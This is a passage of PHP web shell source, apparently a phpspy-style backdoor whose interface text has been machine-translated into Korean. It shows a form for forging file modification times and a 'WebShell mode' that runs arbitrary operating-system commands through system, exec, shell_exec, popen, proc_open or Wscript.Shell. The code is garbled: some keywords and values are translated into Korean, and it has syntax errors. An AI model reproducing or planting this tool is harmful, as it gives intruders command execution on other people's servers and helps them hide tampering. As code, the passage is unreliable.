$tb->tdbody(" 파일 수정: ".$tb->makeinput('curfile',$file,'readonly')." → 대상 파일: ".$tb->makeinput('tarfile','전체 경로 및 파일 이름이 필요합니다.' ) ,'center','2','30');
$tb->makehidden('do','domodtime')
$tb->formfooter('','30') ) ; $tb->formheader($action,'사용자 정의 파일의 마지막 수정 시간')
$tb->tdbody('
  • 유효한 시간 우표의 일반적인 범위는 1901년 12월 13일 금요일 20:45:54 GMT부터 2038년 1월 19일 화요일 03:14:07까지입니다(날짜는 32비트 부호 있는 정수의 최소 합계를 기반으로 합니다(최대값부터). )

  • 참고: 일은 01에서 30 사이이고, 시간은 0에서 24 사이이고, 분과 초는 0에서 60 사이입니다!
  • ' ,'왼쪽');
    $tb->tdbody('현재 파일 이름: '.$file)
    $tb->makehidden('curfile',$file); ->tdbody('다음으로 수정: '.$tb->makeinput('year','1984','','text','4').'연도'.$tb-> makeselect(array ('이름'=>'월','옵션'=>$cachemonth,'선택됨'=>'10월')).'월'.$tb->makeinput('data', '18' ,'','text','2').' day'.$tb->makeinput('hour','20','','text','2').' hour' .$tb ->makeinput('분','00','','텍스트','2').'.$tb->makeinput('초','00','', '텍스트',' 2').'초','중심','2','30')
    $tb->makehidden('do','modmytime')
    $tb ->formfooter( '1','30');
    }//end newtime
    elseif ($_GET['action'] == "shell") {
    $action = "?? action=shell&dir=" .urlencode($dir);
    $tb->tableheader();
    $tb->tdheader('WebShell 모드')
    if (substr(PHP_OS, 0 , 3); 'WIN') {
    $program = isset($_POST['program']) ? $_POST['program'] : "c:winntsystem32cmd.exe"
    $prog = isset($_POST[' prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt"
       echo "n";
    $tb->tdbody('에코 없이 프로그램 실행 → 파일: '.$tb->makeinput ('program', $program).' 매개변수: '.$tb->makeinput('prog',$prog,'','text','40').'.$tb->makeinput( '','실행 ','','submit'),'center','2','35')
    $tb->makehidden('do','programrun')
    echo "n";
    }
    echo "n"
    if(isset($_POST['cmd'] )) $cmd = $_POST['cmd'];
    $tb->tdbody('Tip: 출력 결과가 불완전한 경우 출력 결과를 파일에 쓰는 것이 좋습니다. 이렇게 하면 얻을 수 있습니다. '); $tb->tdbody('proc_open 함수가 기본 winnt 시스템이 아닌 경우 직접 설정하여 사용하세요. 직접 수정한 후 작성하고 종료하세요. 완료되지 않은 프로세스는 호스트에 남게 됩니다.')
    $tb ->tdbody('proc_open 함수에서 사용할 cmd 프로그램의 위치:'.$tb->makeinput('cmd', $cmd,'','text','30').'(리눅스 시스템이라면 직접 수정해야 합니다)')
    $execfuncs = (substr(PHP_OS, 0, 3) == ' WIN') ? array('system'=>'system','passthru'=> 'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'= >'popen','wscript'=>'Wscript.Shell','proc_open'= >'proc_open') : array('system'=>'system','passthru'=>'passthru' ,'exec'=>'exec','shell_exec'=>'shell_exec',' popen'=>'popen','proc_open'=>'proc_open')
    $tb-> tdbody('실행 함수 선택: '.$tb->makeselect(array('name'= >'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' 입력 명령: '.$tb->makeinput('command',$_POST['command'] ,'','text','60').' '.$tb->makeinput('','실행 ','','제출'));
    < tr>